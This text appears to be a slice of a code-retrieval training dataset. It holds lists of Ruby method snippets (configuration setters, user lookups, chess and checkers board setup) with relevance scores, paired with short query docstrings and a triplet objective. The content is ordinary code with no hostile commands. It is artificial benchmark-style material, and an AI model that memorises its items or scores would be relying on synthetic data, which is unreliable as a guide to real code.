"def set_bundle(bundle, tags)\n args = [\"bundle=#{u(bundle)}\", \"tags=#{u(tags)}\"]\n get('tags/bundles/set?' << args.join('&'))\n nil\n end",
"def configure(root_config)\n super(root_config)\n end",
"def auto_configuration_state\n super\n end",
"def bundles=(value)\n @bundles = value\n end",
"def configured?; false; end",
"def add_standard_properties\n super\n\n @config_manager.add_override_property('run.config_name', self.class.basename)\n end",
"def setup_spring\n bundle_command 'exec spring binstub --all'\n end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def setup_config\n # To be Extended\n end",
"def add_initializer_config\n template \"toybox.rb\", \"config/initializers/toybox.rb\"\n end",
"def configure(&block); end",
"def configure(&block); end",
"def configure(root_config)\n super(root_config)\n end",
"def configure_frontend\n end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def bundle_id=(value)\n @bundle_id = value\n end",
"def initialize(...)\n super()\n configure(...)\n end",
"def boot_location\n super\n end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def run_bundle\n # We don't want to run anything here since we have already run a bundle install with our gemset above\nend",
"def set_defaults\n #self.required_by_manufacturer ||= true\n end",
"def set_snat_automap\n super\n end",
"def post_setup\n end",
"def initialize\n set_config\n end",
"def setup(resources) ; end",
"def do_bundle\n # Custom bundle command ensures dependencies are correctly installed\n Bundler.with_unbundled_env { run \"bundle install\" }\nend",
"def do_bundle\n # Custom bundle command ensures dependencies are correctly installed\n Bundler.with_unbundled_env { run \"bundle install\" }\nend",
"def default_bundles_for_build\n bundles.reject { |x| !x.autobuild? }\n end",
"def config_to_allow_offenses=(_arg0); end",
"def service_options(resource)\n super\n resource.environment.update(new_resource.parent_python.python_environment) if new_resource.parent_python\n end",
"def config=(config); end",
"def before_package_create(package)\n end",
"def before_package_create(package)\n end",
"def configure_manager\n end",
"def bundler_options\n [].tap do |opts|\n if new_resource.binstubs\n opts << \"--binstubs\" + (new_resource.binstubs.is_a?(String) ? \"=#{new_resource.binstubs}\" : '')\n end\n if new_resource.vendor\n opts << \"--path=\" + (new_resource.vendor.is_a?(String) ? new_resource.vendor : 'vendor/bundle')\n end\n if new_resource.deployment\n opts << '--deployment'\n end\n if new_resource.jobs\n opts << \"--jobs=#{new_resource.jobs}\"\n end\n if new_resource.retry\n opts << \"--retry=#{new_resource.retry}\"\n end\n if new_resource.without\n opts << '--without'\n opts.insert(-1, *new_resource.without)\n end\n end\n end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end"
] | [
"0.6550137",
"0.65347403",
"0.632019",
"0.6276555",
"0.62735474",
"0.62735474",
"0.6103117",
"0.60947675",
"0.59797347",
"0.59339964",
"0.5825996",
"0.5825418",
"0.5805666",
"0.57763594",
"0.57730204",
"0.5745918",
"0.5724572",
"0.57109284",
"0.5654736",
"0.5654736",
"0.56384814",
"0.56008846",
"0.5600202",
"0.5600202",
"0.5600202",
"0.5600202",
"0.5600202",
"0.5568116",
"0.5556866",
"0.55446255",
"0.5511437",
"0.55013144",
"0.55013144",
"0.54896104",
"0.5485409",
"0.54741746",
"0.54616195",
"0.5455464",
"0.54488367",
"0.54407114",
"0.54399055",
"0.54159766",
"0.54159766",
"0.54159766",
"0.54159766",
"0.54159766",
"0.54115963",
"0.54101354",
"0.54066384",
"0.54066384",
"0.5405931",
"0.53927827",
"0.5376827",
"0.5376827",
"0.5376827",
"0.5376827",
"0.5376827",
"0.5376827",
"0.5376827",
"0.53676677",
"0.5364091",
"0.53529584",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5350174",
"0.5343128",
"0.5343036",
"0.53165185",
"0.53091794",
"0.52979475",
"0.5297703",
"0.5293841",
"0.5293841",
"0.52909875",
"0.52872545",
"0.5281052",
"0.5269802",
"0.52681875",
"0.52681875",
"0.5267763",
"0.5267259",
"0.52659726",
"0.52659726",
"0.52659726",
"0.52659726",
"0.52659726"
] | 0.0 | -1 |
convenience method, just returns the single user | def fetch_user(id)
fetch( :user, id ).last_result_item
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_user(user_id)\n return User.find(user_id)\n end",
"def user\n return User.current unless user_id\n user = User.get_from_cache(user_id)\n user || User.first({:id => user_id})\n end",
"def get_user()\n user = User.first(:id => self.user_id)\n if !user\n user = User.new\n user.login = \"anon\"\n end\n return user\n end",
"def user\n User.get user_id || User.new\n end",
"def user(id = 'self')\n get(\"users/#{id}\").user\n end",
"def user\n # 自インスタンスのuser_idの値に紐付くuserインスタンスを戻り値として返す\n return User.find(self.user_id)\n end",
"def get_user \n\t\treturn User.find(self.user_id)\n\tend",
"def user\n User.where(id: object.user_id)[0]\n end",
"def user\n return unless user_id && user_type\n return @user if instance_variable_defined?('@user')\n\n @user = user_type.constantize.find_by(id: user_id)\n end",
"def get_user(id)\n @users[id]\n end",
"def user\n if users.size == 1\n users.first\n else\n nil\n end\n end",
"def get_user\n \n # Retrieve user id if stored in a cookies\n # @TODO Secure ID when stored in cookies\n if cookies[:user]\n return User.find(cookies[:user])\n\n # Retrieve user id if stored in session\n elsif session[:user]\n return User.find(session[:user])\n\n # No user logged in\n else\n return nil\n end\n\n end",
"def find_user(user_id)\n user = User.find(user_id)\n user\n end",
"def user(id:)\n User.find(id)\n end",
"def user\n UserRepository.find(user_id)\n end",
"def get_user(name)\n User.where(name:).first\n end",
"def user\n @user ||= User.find(\n params[:user_id] ) # needs to raise exception if user not found\n end",
"def user\n Webmetrics.users.find_one('_id' => id)\n end",
"def user\n @user ||= User.find(user_id)\n end",
"def get_user_byid(id)\n @user = User.find_by_id(id)\n end",
"def get_user_byid(id)\n # accept an id input parameter\n # use the User Model class to get the User associated with the `id` primary key\n # return the User instance that matches the provided id\n @user = User.find_by(:id => id)\n @user\n end",
"def find_user_by_id(id)\n User.find(id)\n end",
"def get_user_by_id(id)\n resp = request('getUserByID', {:userID => id})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end",
"def user; User.find_by_id(user_id); end",
"def user\n User.load(self.user_id)\n end",
"def get(user_id)\n User.find user_id\n end",
"def user\n @user ||= users.first || users.build\n end",
"def user\n User.find(self[:user_id])\n end",
"def user\n User.find_by(id: self.object.user_id)\n end",
"def first_user\n users.first\n end",
"def find_user\n results = @ldap.search( :base => options[:ldap][:base], :filter => user_filter)\n return results.first\n end",
"def user(user_id = nil)\n user_id = username if user_id.nil? || user_id == \"\"\n if user_id.to_i.to_s == user_id.to_s\n users = connection.get(connection.build_url('users', :userids => user_id)).body\n else\n users = connection.get(connection.build_url('users', :logins => user_id)).body\n end\n users.map!{|hash| hash.values.first}\n users.first\n end",
"def retrieve(user_id:)\n User.new get_request(\"users/#{user_id}\").body.dig(\"user\")\n end",
"def getLoggedInUser\n if session[:user_id]\n return User.find(session[:user_id])\n else\n return nil\n end\n end",
"def current_user(id = session[:user_id])\n User.get_one id\n end",
"def get_user_or_404(id)\n @user = get_or_404(User, id)\n end",
"def user\n user_id.get_object\n end",
"def user\n return Ecore::User.anybody if @user_id == Ecore::User.anybody.id\n return Ecore::User.everybody if @user_id == Ecore::User.everybody.id\n u = Ecore::User.find_by_id(@user_id)\n u = Ecore::Group.find_by_id(@user_id) unless u\n u\n end",
"def get_user(name)\n @model.find_by(name: name)\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def get_user_from_id(user_id)\n \t\tuser = nil\n \t\tunless user_id.blank?\n\t \t\tcol = :email\n\t \t\tif CONFIG[:enable_username?]\n\t \t\t\tunless is_email(user_id)\n\t \t\t\t\tcol = :username\n\t \t\t\tend\n\t \t\tend\n#\t \t\tp \"Finding user by col: #{col}, user_id = #{user_id}\"\n\t \t\tuser = User.find_by(col => user_id.downcase)\n\t \tend\n\t \tuser\n \tend",
"def user(id)\n Bibliovore::User.new(\n get_endpoint(\"users/#{id}\", 'user'), self\n )\n end",
"def user\n user ||= User.find(self.user_id)\n end",
"def user\n @user ||= ::User.find_by(id: user_id)\n end",
"def user\n begin\n if user_uid?\n @_user ||= User.find(user_uid)\n end\n if respond_to?(:email?) && email?\n @_user ||= User.where(email: email).first\n end\n rescue => e\n Rails.logger.warn \"#{self.class} #{self.id} has a user_uid that corresponds to no known data room user. Perhaps someone has been deleted? Ignoring. Error: #{e}\"\n nil\n end\n @_user\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def get_user\n unless session[:drupal_user_id].nil?\n uid = session[:drupal_user_id]\n @user = User.find_by_uid(uid)\n end\n\n @user || nil\n end",
"def get_user\n\t\tif !session[:user_id]\n\t\t\t@user = nil\n\t\telse\n\t\t\t@user = User.find(session[:user_id])\n\t end\n\tend",
"def user_obj\r\n User.select(:name).where(id: object.user_id).last || User.new(name: \"Not Found\")\r\n end",
"def user(name = context&.user)\n named_user(name)&.user\n end",
"def user\n return self['user'] if self['user'].is_a?(User)\n User.new(self['user']) if self['user']\n end",
"def user\n User.find_by_id self.user_id \n end",
"def find_by_id!\n User.find(@username_or_id)\n end",
"def user\n batch_load_one(object.user_id, 'User')\n end",
"def find_user_by_id(id)\n users.find_by_id(id)\n end",
"def user(id)\n @users[id.resolve_id]\n end",
"def get_user\n @user = User.find(params[:user_id])\n end",
"def fetch_user(id)\n client.user(id)\n end",
"def user_by_id(user_id)\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Picking user ID #{user_id.inspect} from pool\"\n users.select { |user| user[:id] == user_id.to_i }.first\n end",
"def getUser\n \t\tuser_id = Course.where(\"id = '#{self.course_id}'\").first.user_id\n \t\treturn User.where(\"id = '#{user_id}'\").first\n \tend",
"def user\n return User.new\n end",
"def get_user_by_handle(handle)\n return User.where(handle: handle).first\n end",
"def find_user\n return nil if session[:user_id].nil?\n User.find(session[:user_id])\n end",
"def find_user\n return nil if session[:user_id].nil?\n User.find(session[:user_id])\n end",
"def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"def auth_user\n User.find(auth_user_id) unless auth_user_id.nil?\n end",
"def get_user(users, id)\n user = users.select { |f| f[:id] == id }\n user.first\n end",
"def authenticated_user\n if session[:user_id].nil?\n return nil\n else\n return User.find(session[:user_id])\n end\n end",
"def current_user\n\n sql = \"SELECT * FROM users WHERE id = $1;\"\n \n results = run_sql(sql, [session[:user_id]]) \n return results.first\n end",
"def get_user(jid, create)\n # Drop the resource.\n parts = jid.to_s.split('/')\n jid = parts[0]\n\n user = @users[jid]\n if not user and create\n user = User.new(@sender, jid, invent_nick(jid))\n @users[jid] = user\n @logger.debug(\"Created user #{user.nick} <#{user.jid}>\")\n end\n user\n end",
"def user\n find_user params._id\n end",
"def user(username = nil)\n if !username || username == @user.username\n @user\n else\n User.new(self, :username => username)\n end\n end",
"def get_user\n @user = User.find_by_id(params[:id])\n if @user \n return @user\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The user could not be found!\"}}\n end\n end",
"def get_user \n @user = User.find(params[:id])\n end",
"def get_user\n @user\n end",
"def get_user\n @user\n end",
"def user_from_session\n if session[:user] && session[:user][:id]\n User.find_by_id(session[:user][:id])\n else\n nil\n end\n end",
"def get_user_or_current_user(id)\n id = params[:id]\n if id == current_user.id\n return current_user\n end\n user = User.find_by_id(id)\n if user.nil?\n return current_user\n else\n return user\n end\n\n end",
"def get_user\n\t\treturn Account.find(self.account_id)\n\tend",
"def find_user\n User.find(params.fetch(:id))\n end",
"def get_user\n @user = User.find(params[:user_id])\n end",
"def user(reload = false)\n self.cache(CostAgent::User, self.username, reload) do\n data = self.client(\"verify\").get.headers\n [User.new(\n :id => data[:user_id],\n :permissions => data[:user_permission_level],\n :company_type => data[:company_type])]\n end.first\n end",
"def user_management_get_single_user id\n # the base uri for api requests\n query_builder = Configuration.BASE_URI.dup\n\n # prepare query string for API call\n query_builder << \"/v1/users/{id}\"\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\n \"id\" => id,\n }\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\n \"client_id\" => @client_id,\n \"client_secret\" => @client_secret,\n }\n\n # validate and preprocess url\n query_url = APIHelper.clean_url query_builder\n\n # prepare headers\n headers = {\n \"user-agent\" => \"IAMDATA V1\",\n \"accept\" => \"application/json\"\n }\n\n # invoke the API call request to fetch the response\n response = Unirest.get query_url, headers:headers\n\n # Error handling using HTTP status codes\n if response.code == 401\n raise APIException.new \"Unauthorized\", 401, response.raw_body\n elsif response.code == 404\n raise APIException.new \"Not Found\", 404, response.raw_body\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\n end\n\n response.body\n end",
"def get_user_id\n if current_user\n @user = User.find(current_user.id)\n end\nend",
"def get_user(uid)\n @inv = User.find_by_id(uid)\n end",
"def get_user(user_name:)\n validate_user_name(:user_name, user_name)\n\n wrap_response(@connection.get(user_path(user_name))).fmap { |r|\n SftpgoClient::User.new(r.body)\n }\n end",
"def user\n return @user\n end",
"def user\n return @user\n end",
"def find_user(id: nil)\n return users.detect { |user| user.id == id }\n end",
"def user_from_session\n Admin::User.find(session[:user_id]) if session[:user_id]\n end",
"def find_by_id\n User.find_by_id(@username_or_id)\n end",
"def user\r\n return @user\r\n end",
"def get_user_by_id(id)\n $r.hgetall(\"user:#{id}\")\n end",
"def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end",
"def db_user(db_connection, user_id)\n sql = 'SELECT * FROM users WHERE id=$1;'\n db_connection.exec_params(sql, [ user_id ]).first\n end",
"def find_user\n @user = User.with_username(params[:id]).first\n end",
"def user(user_id)\n response = connection.get do |req|\n req.url \"/user/#{user_id}\", simple_params\n end\n response.body[0]\n end",
"def find_user\n\n @user = User.using_client_shard(client: @client).get_from_memcache(@user_id)\n\n return error_with_data(\n 'sm_gud_fu_1',\n 'Invalid user id',\n 'Invalid user id',\n GlobalConstant::ErrorAction.default,\n {},\n {}\n ) if @user.blank? || @user.client_id != @client_id\n\n success\n end",
"def find_by_username\n User.find_by_username(@username_or_id)\n end"
] | [
"0.8314722",
"0.81571144",
"0.807154",
"0.79991573",
"0.7980551",
"0.7950126",
"0.7905087",
"0.7904401",
"0.7870491",
"0.78532445",
"0.7846037",
"0.7824632",
"0.7806468",
"0.7765938",
"0.7704619",
"0.76927525",
"0.767816",
"0.7677772",
"0.7640682",
"0.76257837",
"0.7605529",
"0.7599001",
"0.7586778",
"0.75845337",
"0.7582658",
"0.7572982",
"0.7568418",
"0.7563622",
"0.756134",
"0.7535256",
"0.7526358",
"0.75247395",
"0.74848557",
"0.7478808",
"0.747379",
"0.74628884",
"0.7459532",
"0.7426282",
"0.7415541",
"0.7413896",
"0.73878527",
"0.7386738",
"0.7382647",
"0.73699754",
"0.7343964",
"0.7337249",
"0.7337249",
"0.7337249",
"0.73345834",
"0.7331067",
"0.7327854",
"0.731753",
"0.729875",
"0.7285304",
"0.7282341",
"0.7278453",
"0.7275773",
"0.7258744",
"0.72568244",
"0.7238067",
"0.7227629",
"0.7218763",
"0.721497",
"0.72072446",
"0.7199685",
"0.7199685",
"0.7192634",
"0.718933",
"0.7185688",
"0.7184141",
"0.7179403",
"0.7174831",
"0.71733135",
"0.71702874",
"0.7165548",
"0.71642655",
"0.7158954",
"0.7158954",
"0.7152164",
"0.71403694",
"0.7131626",
"0.71308464",
"0.71217215",
"0.71084154",
"0.71070844",
"0.7102438",
"0.7102151",
"0.7095159",
"0.7094953",
"0.7094953",
"0.7094829",
"0.7090299",
"0.7087928",
"0.7086352",
"0.70708025",
"0.70673674",
"0.70558167",
"0.7049148",
"0.7046114",
"0.7028392",
"0.7027808"
] | 0.0 | -1 |
The default stitching is a board of square tiles Inherit & overwrite these as necessary | def stitching(x, y)
# Return only what's already been generated (that is, what's above and to the left).
return [:normal, [
([x - 1, y] if x > 0),
([x - 1, y - 1] if x > 0 and y > 0),
([x, y - 1] if y > 0),
([x + 1, y - 1] if y > 0 and x < @field_width - 1)
].compact]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def place_knights\r\n $board[1][0] = Knight.new('white')\r\n\t\t$board[6][0] = Knight.new('white')\r\n\t\t$board[1][7] = Knight.new('black')\r\n\t\t$board[6][7] = Knight.new('black')\r\n end",
"def reset(cols, rows)\n\t\t@holeSize = 3 + rand(2)\n\t\t@holeHeight = rows / 4 + rand * (rows / 2)\n\t\t@tubePosition = cols - 1\n\t\t@lastPosition = @tubePosition\n\t\t@passed = false\n\tend",
"def set_pieces\n\t\t(0..7).each do |row|\n\t\t\tcase row\n\t\t\twhen 0\n\t\t\t\tplace_special_pieces(row, :white)\n\t\t\twhen 1\n\t\t\t\tplace_pawns(row, :white)\n\t\t\twhen 6\n\t\t\t\tplace_pawns(row, :black)\n\t\t\twhen 7\n\t\t\t\tplace_special_pieces(row, :black)\n\t\t\tend\n\t\tend\n\tend",
"def place_pawn_first_rows\n 8.times { |col| self[[1, col]] = Pawn.new(self, :black, [1, col]) }\n 8.times { |col| self[[6, col]] = Pawn.new(self, :white, [6, col]) }\n end",
"def shuffle_terrains()\n terrains = ([FOREST]*4 + [PLAINS]*4 + [PASTURE]*4 +\n [HILLS]*3 + [MOUNTAIN]*3 + [DESERT])\n terrains.shuffle.zip(tiles).each {|terrain, tile| tile.terrain = terrain}\n end",
"def reset_board\n\t\t@secret_board = []\n\t\tMastermind::BOARD_WIDTH.times { @secret_board << Mastermind::COLORS[:blank] }\n\t\t@decoding_board = blank_board\n\t\t@rating_board = blank_board\n\tend",
"def tile_board\n @board_array.each_with_index do |row_array, row|\n 10.times{|column| row_array << Tile.new(row,column)}\n end\n end",
"def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end",
"def populate_board\n back_row = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook]\n\n black_back_row = []\n back_row.each_with_index do |piece_class, j|\n black_back_row << piece_class.new(self, :black, [0, j])\n end\n board[0] = black_back_row\n \n black_front_row = []\n (0..7).each {|idx| black_front_row << Pawn.new(self, :black, [1, idx])}\n board[1] = black_front_row\n \n (2..5).each do |row|\n board[row] = Array.new(8) {NullPiece.instance} \n end\n \n white_front_row = []\n 8.times {|idx| white_front_row << Pawn.new(self, :white, [6, idx])}\n board[6] = white_front_row\n \n white_back_row = []\n back_row.each_with_index do |piece_class, j|\n white_back_row << piece_class.new(self, :white, [7, j])\n end\n board[7] = white_back_row\n end",
"def image_board\n\t\t(0...@width).map do |i|\n\t\t\t(0...@height).map do |j|\n\t\t\t\t# ([1]*3+[0]*7)[rand 10]\n\t\t\t\trand 2\n\n\n\t\t\t\t# rand 2\n\t\t\tend\n\t\tend\n\tend",
"def drawBoard() \n #1. prepare the default board\n @height.times do |y|\n @width.times do |x|\n print EMPTY_MARKER\n end\n puts\n end\t\n @squares = []\n @width.times do |x|\n column = []\n @height.times do |y|\n column << EMPTY_MARKER\n end\n @squares << column\n end\t\n # 2. fill the mine marker\n @mines.each do |mine|\n x,y = mine\n @squares[x][y] = MINE_MARKER\n end\t\t\n #puts @squares;\n\n end",
"def get_surrounding_tiles(row, column, cell)\n surrounding_tiles = []\n index = GAME_BOARD[column-1].index(cell)\n if column == 1 \n if index == 0\n surrounding_tiles << GAME_BOARD[column-1][index+1]\n surrounding_tiles << GAME_BOARD[column][index]\n elsif index == 8\n surrounding_tiles << GAME_BOARD[column-1][index-1]\n surrounding_tiles << GAME_BOARD[column][index]\n else\n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column][index]\n end\n elsif column == 12\n if index == 0\n surrounding_tiles << GAME_BOARD[column-1][index+1]\n surrounding_tiles << GAME_BOARD[column-2][index] \n elsif index == 8\n surrounding_tiles << GAME_BOARD[column-1][index-1]\n surrounding_tiles << GAME_BOARD[column-2][index] \n else\n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column-2][index]\n end\n elsif index == 0\n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column][index]\n surrounding_tiles << GAME_BOARD[column-2][index]\n elsif index == 8\n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column][index]\n surrounding_tiles << GAME_BOARD[column-2][index]\n else\n surrounding_tiles << GAME_BOARD[column-1][index+1] \n surrounding_tiles << GAME_BOARD[column-1][index-1] \n surrounding_tiles << GAME_BOARD[column][index]\n surrounding_tiles << GAME_BOARD[column-2][index]\n end\n\n surrounding_tiles\n end",
"def put_black\n i = 0\n while i<=7 do\n n = Pawn.new([i,6],\"\\u265F\",false)\n put_piece(n)\n i+=1\n end\n n = Rook.new([0,7],\"\\u265C\",false)\n put_piece(n)\n n = Rook.new([7,7],\"\\u265C\",false)\n put_piece(n)\n n = Knight.new([1,7],\"\\u265E\",false)\n put_piece(n)\n n = Knight.new([6,7],\"\\u265E\",false)\n put_piece(n)\n n = Bishop.new([2,7],\"\\u265D\",false)\n put_piece(n)\n n = Bishop.new([5,7],\"\\u265D\",false)\n put_piece(n)\n n = Queen.new([3,7],\"\\u265B\",false)\n put_piece(n)\n n = King.new([4,7],\"\\u265A\",false)\n put_piece(n,true)\n end",
"def split_tile_set_into_tiles\n number_of_tiles = @tile_set[0].columns/32\n\n number_of_tiles.times do |i|\n image = @tile_set[0].crop((i*32), 0, 32, 32)\n image.write(\"media/tmp/tile#{i}.png\")\n end\n end",
"def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end",
"def topping; end",
"def corner_play\n return unless UNBEATABLE\n board_values = board.squares.map { |k, v| [k, v.marker] }.to_h\n if board_values.values_at(1, 9).all?(@human.mark) ||\n board_values.values_at(3, 7).all?(@human.mark)\n board_values.slice(2, 4, 6, 8).key(INITIAL_MARKER)\n else\n board_values.slice(1, 3, 7, 9).key(INITIAL_MARKER)\n end\n end",
"def video_stitching(clips, t)\n return -1 if clips.max.max < t || clips.min.min > 0\n return (t / clips.min.max) if clips.map{ |clip| clip[1] - clip[0] }.uniq.length == 1\n\n stitched = []\n (0..t).each { |t| stitched[t] = nil }\n\n (0..t).each do\n break unless stitched.include?(nil)\n chosen = try_candidates(stitched, clips)\n start = clips[chosen][0]\n finish = clips[chosen][1]\n\n for i in (start..finish) do\n stitched[i] = chosen\n end\n end\n\n stitched[0, t + 1].uniq.length\nend",
"def populate_board\n #the six rows get updated\n players.each do |player|\n rows = player == players[0] ? [ 0,1,2 ] : [ 5,6,7 ]\n piece_count = 0\n col = 0\n\n player.pieces.each do |piece|\n\n rows.shift if piece_count % 4 == 0 and piece_count != 0\n\n col_start = rows[0] % 2 == 1 ? 0 : 1\n col = 0 if (col_start == 0 || col_start == 1) && piece_count % 4 == 0\n\n piece.position = [col + col_start, rows[0]]\n squares[[col + col_start, rows[0]]] = piece\n\n col += 2\n piece_count += 1\n\n end\n\n end\n\n end",
"def place_second_color_rows\n back_pieces = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook]\n [[0, :black], [7, :white]].each do |row, color|\n back_pieces.each_with_index do |piece_class, col|\n self[[row, col]] = piece_class.new(self, color, [row, col])\n end\n end\n end",
"def board_setup\n\t\tinitial_position = [\"rook\", \"knight\", \"bishop\", \"queen\", \"king\", \"bishop\", \"knight\", \"rook\"]\n\t\tspecial_position = [8,1]\n\t\tpawn_position = [7,2]\n\t\tinitial_color = [\"black\",\"white\"]\n\t\ti = 0\n\t\tx = 0\n\t\t#loops through ranks 8 and 1 setting each class piece in his corresponding position.\n\t\tspecial_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = initial_position[i]\n\t\t\t\t@board[letter+num.to_s].color = initial_color[x]\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\ti = 0\n\t\t\tx += 1\n\t\tend\n\n\t\ty = 0\n\t\t#loos through ranks 7 and 2 setting the pawn's pieces in his corresponding position.\n\t\tpawn_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = \"pawn\"\n\t\t\t\t@board[letter+num.to_s].color = initial_color[y]\n\t\t\tend\n\t\t\ty += 1\n\t\tend\n\tend",
"def populate_board\n\t\t8.times{|x|\t@board[x][6] = Pawn.new([x, 6], \"black\", @board)}\n\t\t@board[0][7] = Rook.new([0, 7], \"black\", @board)\t\n\t\t@board[1][7] = Knight.new([1, 7], \"black\", @board)\n\t\t@board[2][7] = Bishop.new([2, 7], \"black\", @board)\n\t\t@board[3][7] = Queen.new([3, 7], \"black\", @board)\n\t\t@board[4][7] = King.new([4, 7], \"black\", @board)\t\t\n\t\t@board[5][7] = Bishop.new([5, 7], \"black\", @board)\n\t\t@board[6][7] = Knight.new([6, 7], \"black\", @board)\n\t\t@board[7][7] = Rook.new([7, 7], \"black\", @board)\n\t\t\t\t\n\t\t 8.times{|x|\t@board[x][1] = Pawn.new([x, 1], \"white\", @board)}\n\t\t@board[0][0] = Rook.new([0, 0], \"white\", @board)\t\n\t\t@board[1][0] = Knight.new([1, 0], \"white\", @board)\n\t\t@board[2][0] = Bishop.new([2, 0], \"white\", @board)\n\t\t@board[3][0] = Queen.new([3, 0], \"white\", @board)\n\t\t@board[4][0] = King.new([4, 0], \"white\", @board)\t\t\n\t\t@board[5][0] = Bishop.new([5, 0], \"white\", @board)\n\t\t@board[6][0] = Knight.new([6, 0], \"white\", @board)\n\t\t@board[7][0] = Rook.new([7, 0], \"white\", @board)\n\tend",
"def set_livings_cell\n @board[2][2] = 1\n @board[2][3] = 1\n @board[3][3] = 1\n @board[3][4] = 1\n @board[4][4] = 1\n end",
"def flip_board\n\t\t\t@player1.tokens.each do |pieces|\n\t\t\t\tpieces.each do |piece|\n\t\t\t\t\tpiece.flip #should mirror the piece on board\n\t\t\t\tend\n\t\t\tend\n\t\t\t@player2.tokens.each do |pieces|\n\t\t\t\tpieces.each do |piece|\n\t\t\t\t\tpiece.flip #should mirror the piece on board\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def set_rooks\n self[[0,0]] = SlidingPiece.new([0,0], :black, \"R \")\n self[[0,7]] = SlidingPiece.new([0,7], :black, \"R \")\n self[[7,0]] = SlidingPiece.new([7,0], :white, \"R \")\n self[[7,7]] = SlidingPiece.new([7,7], :white, \"R \")\n end",
"def compact_pieces\n @recheck = false\n for i in (0..@width-1)\n for j in (0..@height-1)\n if @board[i][j] and @board[i][j+1].nil? #drop pieces down\n @recheck = true\n @board[i][j+1] = @board[i][j]\n @board[i][j] = nil \n elsif j == 0 and @board[i][j].nil? #replace pieces at top\n @recheck = true\n @board[i][j] = Piece.new\n end\n end\n end\n if @startup and @recheck #fast setup of board before update + anim loops start\n compact_pieces\n clear_matches\n end \n end",
"def setup_board\n gameboard.build_board\n build_white_side\n build_black_side\n end",
"def draw_board\n @board = stack do\n fill rgb(210,105,30)\n rect BOARD_SQUARE_POS[:board_start], BOARD_SQUARE_POS[:board_start], BLOCK_DIMENTION*CHECKERS_WIDTH , BLOCK_DIMENTION*CHECKERS_HEIGHT\n fill rgb(245,222,179)\n CHECKERS_HEIGHT.times do |x|\n CHECKERS_WIDTH.times do |y|\n rect BOARD_SQUARE_POS[:board_start] + BLOCK_DIMENTION*x, BOARD_SQUARE_POS[:board_start] + BLOCK_DIMENTION*y, BLOCK_DIMENTION,BLOCK_DIMENTION if x.even? && y.even?\n rect BOARD_SQUARE_POS[:board_start] + BLOCK_DIMENTION*x, BOARD_SQUARE_POS[:board_start] + BLOCK_DIMENTION*y, BLOCK_DIMENTION,BLOCK_DIMENTION if !x.even? && !y.even?\n end\n end\n end\nend",
"def reset_board_variables\n @color_on_turn = :white\n @fifty_counter = 0\n @pieces = {:white => [], :black => []} \n @last_moved_item = BoardInfoItem.new(0,0)\n @infosquare.each do |row_square|\n row_square.each do |cell|\n cell.clear\n end\n end\n #p @infosquare\n end",
"def board\n @original_board.dup\n end",
